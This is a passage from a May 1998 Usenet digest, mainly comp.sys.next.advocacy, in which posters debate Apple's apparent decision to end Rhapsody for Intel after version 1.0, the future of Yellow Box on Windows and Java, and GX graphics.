References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us> <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net> <ericb-1705981553500001@132.236.171.104> <pulsar-ya02408000R1705981514490001@news-proxy.cso.uiuc.edu> <199805172334552400739@sdn-ts-001txhousp01.dialsprint.net> <6jp99j$ti3$1@nnrp1.dejanews.com> <199805190436353437287@sdn-ts-001txhousp08.dialsprint.net>
In article <199805190436353437287@sdn-ts-001txhousp08.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
> Good question. It seems to my admittedly not too enlightened mind that
> the loss of Rhapsody/Intel is more upsetting to those who want to avoid
> NT as their OS rather than to serious Yellow Box developers, though the
> former likely includes many hobbyists who might have contributed much to
> the YB shareware pool. I do wonder, though, just how many disgruntled
> NT users/avoiders there are who would choose Rhapsody over Linux,
> FreeBSD, Be, OS/2, Solaris or any of the other x86 OSes. Enough to make
> Rhapsody/Intel a profitable investment for Apple? At what price point?
This is a good question, but I've never seen Rhapsody/Intel as a near-term
moneymaker in its own right, but rather as a critical component to gaining
acceptance for Yellow Box and Apple in general.
For people who can only currently run Intel PCs, Rhapsody may make a very
attractive alternative, but Macs running Rhapsody are in many cases simply
out of the question.
However, once they get started, and Rhapsody becomes their standard
environment, it may become much easier for those people to justify moving
from Rhapsody/Intel to Rhapsody/PPC when they upgrade their hardware. But
if there is no Rhapsody/Intel, they're not in a position to make that
step.
On top of that, for those that say Rhapsody won't be popular on Intel,
citing the failure of any other OS to take a massive position in that
market, I'd say: Rhapsody is different. Other than OS/2, what other
commercial operating system, with user-friendly interface etc. is
availalbe for PCs that would be an alternative to Windows? None that I can
think of. Rhapsody has most of the benefits of a
Linux/FreeBSD/NetBSD/OpenBSD, but may be even easier to use install etc.
than Windows, not to mention that it's a commercial system backed by a
large company, and with (eventually) an abundance of commercial apps
written for it. I think it has a very good chance of gaining a large
following.
But not if people know 1.0 is the end of the line.
The only other fear is that people might consider Rhapsody/Intel to be an
alternative to Rhapsody/PPC or MacOS X. That's a risk, certainly, but I
think Apple can provide many consumer-oriented features only in OS X, keep
Rhapsody/PPC ahead of Rhapsody/Intel in development, charge more for
Rhapsody/Intel, etc.
On the other hand, I can see one angle that Apple may be thinking of:
It's hard enough for PowerMacs to compete against Wintel PCs when the PCs
have a lousy OS. It will be much more difficult if those PCs have just as
good an OS. And even if Apple is the one selling that OS, they won't make
as much money from those sales.
But again, if they can show clear advantages to using Rhapsody on PPC
instead of Intel, this may not be too big a problem. Or they could choose
to charge enough for Rhapsody/Intel to make it profitable even if people
buy it in preference to PPC hardware. But either way, I see this as
preferable to dropping it entirely. Among other things, Intel users may
never learn how much better Rhapsody is in the first place, if they don't
get to try it out on Intel PCs.
Steve Jobs said (paraphrased from memory): "for Apple to win doesn't mean
Microsoft needs to lose"--but in my opinion it would certainly help. If
Rhapsody can capture the imagination of PC users to any great degree, it
might break the spell of Microsoft domination. That could be to Apple's
great benefit (though it might understandably piss off Bill Gates--but who
cares? I'm not convinced being Microsoft's enemy is going to be the same
problem in the future it once was, considering all the negative scruitiny
Microsoft is receiving. BTW - while watching Bill Gates give an interview
on TV yesterday, I couldn't escape the feeling this man will personally
wind up in jail someday...)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 20:07:34 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1905982007350001@pm3a22.rmac.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <355EBFBF.6A00DEA4@mail.utexas.edu> <6jmlqi$lms$1@ligarius.ultra.net> <6jru1d$pj8@aaron.hamilton.edu>
In article <6jru1d$pj8@aaron.hamilton.edu>, jmalloy@hamilton.edu (Joseph
T. Malloy) wrote:
> John Saunders (jws@jws.ultranet.com) wrote:
> There are plenty of perfectly legal and practical ways of getting FAT32
> without buying a new system. For example, purchase a new hard drive --
> and you can get it with Windows 95 OSR2 installed or loaded on it if the
> dealer you're dealing with offers it (yeah, yeah, of course you won't need
> a hard drive, but for those that do, it's a good deal). Of course, that
> may be a little to obvious for you...don't let it stand in the way of a
> bad rant -- hey, how about the one that goes, "FAT32 is a kludge"?
The most practicle way to get FAT32 would be to walk into a computer
store, pick up a box that contains "Windows 95 OSR2" release and buy it.
I don't consider having to purchase additional hardware (the HD) very
practicle when I could just purchase the product separately.
Josh
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No more Rhapsody (Was: STEPWISE and Scott Kudos)
Date: Tue, 19 May 1998 19:30:25 -0700
Message-ID: <see-below-1905981930260001@209.24.240.108>
References: <355c8968.0@206.25.228.5> <6jjfgn$c75$1@crib.bevc.blacksburg.va.us> <Et58A7.1Hp@AWT.NL> <6jquet$jb8$1@news.digifix.com> <6js7sk$t7p$1@msunews.cl.msu.edu>
In article <6js7sk$t7p$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> Finally I think with Rhapsody for Intel Apple has finally
> seen the compatibility light so to speak. No Word
> equivalent for Rhapsody for Intel, or other apps that
> can grok PC formats. This is THE most significant
> limitation for the adoption of Rhapsody on Intel and
> why YB on 9x/NT would be preferred. This is probably
> the strongest arguement for why Rhapsody for Intel
> will probably die, and something I've been pointing
> out here and there for a long while. If someone fills
> a gap dealing with groking MS productivity app formats
> on Rhapsody for Intel - then i could see Rhapsody
> for Intel doing much better.
This is true, but in my mind this would be a mark _against_ Apple offering
Rhapsody for Intel, since it would make it a more-attractive alternative
for Rhapsody/PPC/MacOS X, and might lure customers who would otherwise buy
Apple hardware. There's no way Apple can make as much money from selling
an Intel OS as they can from margins on PPC hardware.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Robb" <REMOVErobbh@home.com>
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net>
Message-ID: <01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com>
Date: Wed, 20 May 1998 02:20:34 GMT
NNTP-Posting-Date: Tue, 19 May 1998 19:20:34 PDT
Organization: @Home Network
> > Yes, rhapsody for intel 1.0 will be out, but this will be the end of
rhapsody
> > for intel. Its true.
Is that truely the official word then? No more Rhapsody for Intel. Its
unfortunate. I've been monitoring a piece called Project Heresy on
Builder.com and Cnet Radio...
http://www.news.com/Radio/Features/0,155,205,0.html
...where they're discussing Windows alternatives for Intel users. They
couldn't get BeOS to work due to lack of compatable video divers or some
such. So now their focused on Lunix. Lunix sounds like a powerful OS, but
is still a bit of a science project to install and configure. I was
suprised Rhapsody for Intel wasn't even mentioned in the article. But I
suppose it never really had a chance. Too bad.
--
Robb
http://members.home.net/robbh
Please post any responses to this newsgroup. To email me, delete "REMOVE"
from the email address embedded in this posting...thank you.
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Newsgroups: comp.sys.next.advocacy
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfq6$e3n$1@news.tuwien.ac.at> <3561D9FA.69A0B628@unet.univie.ac.at> <6jsokh$rkf@newsb.netnews.att.com> <6jt36t$bs2@nntp02.primenet.com>
In-Reply-To: <6jt36t$bs2@nntp02.primenet.com>
From: akira@home.com
Message-ID: <P8r81.33336$Jd6.3132756@news.rdc2.occa.home.com>
Date: Wed, 20 May 1998 02:23:43 GMT
NNTP-Posting-Date: Tue, 19 May 1998 19:23:43 PDT
Organization: @Home Network
On 05/19/98, John Jensen wrote:
>gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
>
>: Robert F Tobler wrote:
>: > [S8] IT managers that buy Intel machines can
>: > only be pursuaded to switch from Microsoft solutions to other
>: > solutions if these other solutions run on the hardware they bought.
>: > Thus Rhapsody/Intel is the only way for Apple to steal seats from
>: > Microsoft.
>
>: Shouldn't Yellow-Box-on-Microsoft-OS be even easier to sneak in
than
>: Rhapsody-on-Intel ? This is a solution that runs not only on the
>: hardware, but also on the software that they bought.
>
>How does Yellow-Box-on-Microsoft-OS make Apple any money ... esp. with the
>promised "free runtime".
Some folks asked that at the YB Feedback session. Apple didn't do a clear
job of saying why this was good. The theory basically goes like this. A
lot of developers won't develop for MacOS, or are leaving the Mac world,
because the market is too small to make a lot of money. Selling to 1% of
90% of the market is a LOT more profitable than 1% of 4% of the market. So
if you can do YB programming, you've got the best of both worlds. You can
keep delivering Mac products, and with a simple recompile, deliver to the
Windows world. And you can deliver that product to both markets at the same
time. This is better for all concerned. The developer has a bigger market
to sell to, and gets to continue to use Macs. Customers don't have their
favorite apps going totally over to Windows, or have them being not as in
sync with their Windows counterparts. And Apple can claim they have tons of
apps and are the best development environment for Windows+Mac programming,
which is very good PR.
-d
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 19 May 1998 14:41:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1874A98-7A3E@206.165.43.108>
References: <6js47n$h02$4@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1872237-55321@206.165.43.112> "Lawson English" claimed:
>> PDF-based is a good thing?
>
> It's not a bad thing.
>
It would be slower than a binary format optimized for speed.
>> Much of the GX features implies SOMETHING in common with GX.
>
> No it doesn't. Not in the least. Period.
Um, features?
>
>> In what way? Why?
>
> In what way is it faster? Huh? Because the subsystem doesn't get
choked
>as much as the int side does.
>
Really?
>> Where did I say that GX handled transparency channels better?
>
> Continually for a period of at least six months in which you claimed
GX's
>transparency support was better than DPS's.
>
*PRINTING* transparencies.
>> ColorSynch was designed with GX in mind.
>
> So?
>
>> Some features of GX typography require the use of GX style objects.
>
> If you implement them as GX Typography.
>
If you implement them using ANY strategy. You still need some way of
encapsulization and display of the style info AND you need a 3x3 matrix to
handle certain features.
>> > And GX was a complete failure in the market, so let's hope this is
true.
>>
>> What do you have against GX?
>
> There it is again - debate the usefulness of GX and obviously you "have
>something against it". Just like I "have something against" OpenDoc and
>GameSprockets?
Macintosh is a complete failure also, you know. I'm willing to bet that
there's plenty of places where the only reason to buy a Mac was GX. E.G.,
China and REady, Set, Go, which was/is bundled with every Mac.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 19 May 1998 19:02:01 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jt319$vg8$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6js3lh$h02$2@ns3.vrx.net> <6jsp0r$ut0$1@crib.bevc.blacksburg.va.us> <3561F158.580D297E@milestonerdl.com>
In article <3561F158.580D297E@milestonerdl.com>, m rassbach <mark@milestonerdl.com> wrote:
> Nathan Urban wrote:
> > Indeed. Rassbach has been insisting that Apple's lack of an official
> > press release indicates that Apple does not plan to extend its YB/Windows
> > support to NT5/98, and because we can't provide him a Quicktime with
> > an Apple official stating this, we're all a bunch of naive fools for
> > believing it
> You forgot, that even if Apple says it, it may not happen.
And we're all willing to bet money that it will. Given your instant
willingness to doubt Apple's word about anything and everything, you
seem rather reluctant to put your money where your mouth is. The fact
of the matter is that even Apple isn't stupid enough to kill Yellow for
Windows, it is a huge benefit to them and there are _no_ strong benefits
for killing it.
> > Never mind what Scott Anguish, Mike Paquette, and other
> > WWDC attendees have said.
> Apple has said alot at past WWDC's. Copland, Newton, OpenDoc....etc la.
> Attendees have a history of hearing what they want to hear. (Damn human
> failing....)
Stepwise does not report rumors or misinterpretations. It reports
only those things that have been stated unambiguously and _confirmed_,
and when Apple statements were unclear, Scott specifically asked Apple
officials for clarifications, or recorded the clarifications asked by
others. Other news sites are not so stringent, and are usually sloppy
in their rush to get news out quickly.
I'd like you to point out one piece of Stepwise reporting that was
in error. On the other hand, I think that I could probably point out
more than one mistake in any of the other sites' initial reporting that
was either later corrected or is now otherwise universally accepted to
be in error based on further information. Scott did a superb job of
careful reporting.
Furthermore, Mike Paquette's statements are not "hearing what he wants
to hear". He said they've got YB running on the Windows betas in
the Apple labs, and _he knows_, because _he works in the Apple labs_.
This is not open to interpretation!
> Based on an e-mail, MacOSRumors reported Intel/Rhapsody is alive.
Yeah, they're a paragon of reliability. Not.
> And for some reason the writers who appear at StepWise and Nathan don't feel
> a press release is reasonable to ask for.
You can ask all you want, but it's completely unnecessary. Go ahead and
ask Apple for one if it will make you sleep better (or worse) at nights,
since you clearly think everyone was lying to you or grossly mistaken.
(Note: we have corroboration on these issues from Stepwise, Apple
employees, and _multiple_ WWDC attendees.)
Your problem is that you don't do enough background to tell which sources
are reliable and which are not; it's rather obvious who's trustworthy and
who isn't if you pay attention to any of these sources for very long.
(Hint: direct statements made by Apple employees on this newsgroup
and direct quotes of e-mail from Steve Jobs are in the "uncontestably
reliable" category. Stepwise comes just after that. Then come the
Mac rags. Somewhere on the bottom is MacOS Rumors.)
Date: Tue, 19 May 1998 19:02:03 -0400
From: nospampischke@nospam.iname.com (David Pischke)
Newsgroups: comp.sys.next.advocacy
Subject: Infoworld on the Yellow Box's future
Message-ID: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com>
Organization: IDirect Internet
InfoWorld has an article on Mac OS X at this URL:
http://www.infoworld.com/cgi-bin/displayStory.pl?980519.wcosx.htm
<Begin Quote>
Rhapsody's "Yellow Box," previously the area that housed the advanced OS
features, is also changing direction, Jobs said.
"Our 'Yellow Box' strategy has been folded into our larger Java strategy
[all Yellow Box APIs are now in Java, enabling developers to write their
entire app in Java]," Jobs said. "We are continuing to refine this
strategy and will disclose it sometime this fall."
Jobs also said that Apple is also phasing out the "box" nomenclature as
part of how it positions its OS architecture.
"It's all about applications, not boxes," Bereskin added.
<End Quote>
I don't know, but this bit about the Yellow Box "changing direction" and
"being folded into our larger Java strategy" worries me...
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: Tue, 19 May 1998 21:32:41 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1905982132420001@user-38ld608.dialup.mindspring.com>
References: <6js47n$h02$4@ns3.vrx.net> <B1874A98-7A3E@206.165.43.108> <6jsv7f$bib$1@news.digifix.com>
In article <6jsv7f$bib$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> I found it totally hilarious that one of the most impressive
> systems demonstrated at the WWDC was the SoftMagic product for
> producing newspapers in Korea.
*That* was the most impressive demo you saw at WWDC? Scott, you need to
make it to more of the sessions.
;-)
-mark
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Wed, 20 May 98 04:22:53 GMT
Message-ID: <6jtluv$dc7$6@nntp2.ba.best.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <6jtlb0$dc7$3@nntp2.ba.best.com>
In this thread....
>In article <joe.ragosta-1905982053010001@elk125.dol.net>, joe.ragosta@dol.net
> (Joe Ragosta) wrote:
>>In article <6jt7tt$enb$1@newsfep4.sprintmail.com>, macghod@concentric.net
>> wrote:
>>
>>It was a bad decision, but not the disaster you're implying. Since they'll
>>be able to run YB on NT or Win9x, they can use YB without buying new
>>hardware.
>>
But in another thread, he wrote:
Joe Ragosta wrote:
> But dropping Rhapsody for Intel is, IMHO, a serious mistake because it
> loses much of the _promise_ of Rhapsody. There are a ton of Windows users
> who want something better that runs on their hardware, but don't know
> enough to use Linux. Rhapsody would fit the bill.
So what is it? Waffling on your position again.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Date: 20 May 1998 00:33:46 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jtmfa$de$1@crib.bevc.blacksburg.va.us>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jthrl$hg1$1@news.digifix.com> <3562452B.1A0A2C09@milestonerdl.com>
In article <3562452B.1A0A2C09@milestonerdl.com>, m rassbach <mark@milestonerdl.com> wrote:
> Scott Anguish wrote:
> > On 05/19/98, David Pischke wrote:
> > >"Our 'Yellow Box' strategy has been folded into our larger Java
> > >strategy [all Yellow Box APIs are now in Java, enabling developers to write
> > >their entire app in Java]," Jobs said. "We are continuing to refine this
> > >strategy and will disclose it sometime this fall."
> > Its clear that Infoworld added the stuff in the [...] in an
> > attempt to 'clarify' the situation. They got it wrong.
> I've liked InfoWorld for MANY years. And they have tended to do a good
> job.
> If a publication like InfoWorld can "get the story wrong", perhaps the
> fault is with Apple?
Ah, the infamous anti-Apple Rassbach Paranoia (TM) is back, wherein any
media mistake or his own general cluelessness is blamed on Apple.
Apple has been quite clear about what they're doing with Yellow Box and
Java: writing a Java bridge so that Java apps can seamlessly interface
with the YB APIs. This has been well-known for a _long_ time, and not
at all unclear. InfoWorld obviously screwed up and thought that they
_redid_ the APIs in Java. The old Objective-C interrfaces are still
there, Yellow Box is still written in Objective-C, it's just that there
are a _new_ set of Java interfaces -- and this has been public knowledge
for quite some time.
> Perhaps Apple's message isn't clear enough. And, just maybe, this "new"
> cloak-and-dagger crap should end. Figure out WHAT the message is, and
> then, in lock-step, tell the same message.
I could have told you all of this ages ago. InfoWorld didn't do their
homework, or were at best _themselves_ unclear in explaining what's
going on. Go look at the online Rhapsody developer documentation.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 19 May 1998 21:44:23 -0700
Message-ID: <see-below-1905982144240001@209.24.240.108>
References: <6jsait$q4o@newsb.netnews.att.com>
In article <6jsait$q4o@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> It is best for Apple if it bases its development of products
> based on the commercial viability of the products.
>
> Rhapsody on Intel x86 should be continued or discontinued
> after version 1.0 based on whether it proves to be a
> (potential) moneymaker or not, and for no other reason.
>
> "Microsoft sucks" or a previous "promise" should carry no
> weight in the decision.
>
> Surely, all the free-market advocates on the group see that,
> and support that.
>
> Or, do they ?
Yes, but it doesn't need to be just "how much money does it cost to
develop vs. how much revenue do we get directly for selling this
particular piece of software." There are a lot of other good reasons and
potential benefits to Apple and their market position that wouldn't
transpire without Rhapsody for Intel.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 19 May 1998 21:46:32 -0700
Message-ID: <see-below-1905982146320001@209.24.240.108>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
In article <3561D1F9.5E62@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> >
> > It is best for Apple if it bases its development of products
> > based on the commercial viability of the products.
> >
> > Rhapsody on Intel x86 should be continued or discontinued
> > after version 1.0 based on whether it proves to be a
> > (potential) moneymaker or not, and for no other reason.
> >
> > "Microsoft sucks" or a previous "promise" should carry no
> > weight in the decision.
> >
> > Surely, all the free-market advocates on the group see that,
> > and support that.
> >
> > Or, do they ?
>
><SNIP>
>
> The important thing for Apple to realize is that every product it sells
> helps sell its other products. This is what Microsoft understands (and
> is being prosecuted for, alas). Apple should understand as well that
> success for Rhapsody means success for Macintosh hardware means success
> for third-party developers means success for the Macintosh press means
> success for Rhapsody...
Yes, this sums it up nicely.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 19 May 1998 21:49:36 -0700
Message-ID: <see-below-1905982149360001@209.24.240.108>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net>
In article <6jslbi$i4k1@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> I agree with you. Apple does not. Apple sites the "1 billion" dollars IBM
> spent on drivers for OS/2 as something they do not want to suffer. Apple
> clearly believes that they can not afford to provide the Apple experience to
> Intel customers. Ironically, if not for the assumed driver costs, Rhapsody
> Intel could be very profitable. The margins on Rhapsody Intel could be much
> higher than hardware margins. Assumed driver costs and LET'S BE HONEST the
> absence of Microsoft Office for Rhapsody Intel have doomed the product.
>
> Apple is right to a large extent. No computer without Microsoft office is a
> mass market contender today. The standard used to be the ability to read
> and write DOS floppies. Now the minimum standard is an up to date copy of
> Microsoft Word. .doc files are the industry accepted interchange format for
> formatted text!
>
> It must be nice to be Microsoft. Just change the .doc format a little every
> few years and keep reaping the billions from REQUIRED updates to remain
> current.
Not _everyone_ uses Microsoft Word, though clearly that's a dominant need
on the corporate desktop. However, a decent "red box" to run Windows in
could at least partially address this problem, much as the Blue Box
partially addresses it on Rhapsody/PPC (though something like Carbon would
never happen).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Tue, 19 May 1998 21:52:18 -0700
Message-ID: <see-below-1905982152190001@209.24.240.108>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <6jn8d4$1cc$66@ironhorse.plsys.co.uk> <6jo7el$ik22@odie.mcleod.net>
In article <6jo7el$ik22@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> No more DPS and no more NSHosting are really the same thing in this case.
> NSHosting as we know it is not practical unless the applications are already
> using a client/server graphics rendering paradigm. With the new graphics
> announced, each client will do its own rendering only making a buffer
> available for a "region control" server. Moving bit map buffers over a
> network is not the same as moving compact optimized drawing commands over a
> network. As near as I can tell, all ability to intercept the individual
> drawing commands will be lost with OS X and even if it is not, the inherent
> client/server optimizations will be lost by default.
How well does this perform compared to the Citrix/Winframe stuff? Everyone
I've asked claims that product performs quite well.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Wed, 20 May 1998 00:38:52 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6jtmso$6cj$1@news12.ispnews.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com> <6jthl9$hfu$1@news.digifix.com>
NNTP-Posting-Date: 20 May 1998 04:40:56 GMT
x-no-archive: yes
Scott Anguish wrote:
>Robb wrote:
>>> > Yes, rhapsody for intel 1.0 will be out, but this will be the end
>>> > of rhapsody for intel. Its true.
>>
>>Is that truely the official word then? No more Rhapsody for Intel.
>
> Currently, yes.
>
>> Its
>>unfortunate. I've been monitoring a piece called Project Heresy on
>>Builder.com and Cnet Radio...
>> http://www.news.com/Radio/Features/0,155,205,0.html
>>....where they're discussing Windows alternatives for Intel users.
>They
>>couldn't get BeOS to work due to lack of compatable video divers or
>some
>>such. So now their focused on Lunix. Lunix sounds like a powerful
>OS, but
>>is still a bit of a science project to install and configure. I was
>>suprised Rhapsody for Intel wasn't even mentioned in the article.
>But I
>>suppose it never really had a chance. Too bad.
>
> So you're just going to drop it there?
>
> Why not advocate Rhapsody to them? If they can get it, and
>like it, you've got another strong ally in making Apple listen.
>
> If you want this to change, you have to DO something about it.
Scott, it's not going to change. This is Apple, and the more
successful that Rhaptel is, the more that the Apple's hardware
group will work to kill it. It's a no-win situation. It can die a
quiet death, or it can actually do well in its 1.0 version and
make the Apple hardware guys freak out. Either way, it is
going to die. You're best off spending your time making the
best code you can now, targeting it at MacOS or YB for MacOS
and Windows. Trying to get Apple to change their mind on
this is just going to distract from your coding efforts and
make you frustrated.
Z
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 19:44:22 -0700
Message-ID: <see-below-1905981944230001@209.24.240.108>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <maury-1805981747350001@ts32-15.tor.istar.ca> <see-below-1805981651140001@209.24.240.36> <6jrme4$4rf$1@ns3.vrx.net>
Thanks for the follow-up, Maury. I guess we still don't know, though
despite the MacNN report and quoted e-mail, it still appears that
Rhapsody/Intel is dead?
I can certainly see Apple's point about driver support and all that. Maybe
they'd reconsider if/when there is some simpler PC standard to support
without legacy issues. Or maybe they're writing off the whole market, and
banking on future advantages (Rhapsody combined with PPC improvements such
as copper or VMX/AltiVec) to sell lots of PPC hardware. But I don't see
why they'd want to go away, only to return later. Seems better to keep
modestly upgrading it in the meantime.
In article <6jrme4$4rf$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <see-below-1805981651140001@209.24.240.36> Matthew Vaughan claimed:
> > In article <maury-1805981747350001@ts32-15.tor.istar.ca>,
> > > Well I'm not a "trolling Wintel FUDster",
> >
> > I agree, I would never accue you of being one, however...
>
> Cool.
>
> > > This was repeated several times, the "life" of post CR1 Intel Rhapsody is
> > > seriously in doubt.
> >
> >
> > Not any more.
>
> IF this is true (it's from a _rumor_ site after all) something very serious
> happened at the feedback forum then. The person who was "most in charge" of
> this decision, Bertrand, was sitting in the feedback forum) stated this
> about the Intel version specifically. Several people then got up and stated
> in no uncertain terms that MacOS-X would be a market failure if it did not
> run on older PMac's, and did not run in some form (ie, minus the BB and
> Carbon) on PC's. They all gave VERY good reasons why this is so.
>
> But again I will point out that it was stated in no uncertain terms that
> post-CR1 development was almost certainly not going to continue, at least not
> in the short term. This change you note below (phew!!!! I think we all
> wanted to hear this!) is certainly good news, and almost certainly falls out
> of the stream of edu related sites that all said exactly the same thing - if
> CR1 is the end, don't even bother doing (ie, stop at DR2) it and kiss them
> goodbye as Apple customers.
>
> But again this is a rumor site. We were told to our faces that post-DR1 is
> likely dead. Not "we think" or "welllll", I'm talking loud and clear. I
> don't know why I shouldn't believe what I was told. The other quote,
> repeated several times, was that Apple's cross platform strategy IS Yellow
> Box for Windows (as opposed to Rhapsody). Maybe this changed, but I should
> also point out we were told this AFTER the date on the letter below.
>
> > Below is the unedited e-mail we received late last week.
> > ----------------- Begin forward message -----------------
> > Subject: Re: Rhapsody/Yellow Box - RIP, Not!
> > From: Jordan Dea-Mattson <xxxxxx@apple.com>
>
> Jordan was the person who stated the Intel version is questionable the most
> - and repeated a story (at least twice) about how it cost IBM a billion to
> make a reasonable driver set for OS/2 - as justification. I don't know what
> to say. At a minimum Apple's sending out mixed signals.
>
> > Date: Wed, 13 May 1998 20:04:25 -0700
>
> Maury
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 20 May 1998 00:49:00 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jtnbs$ed$1@crib.bevc.blacksburg.va.us>
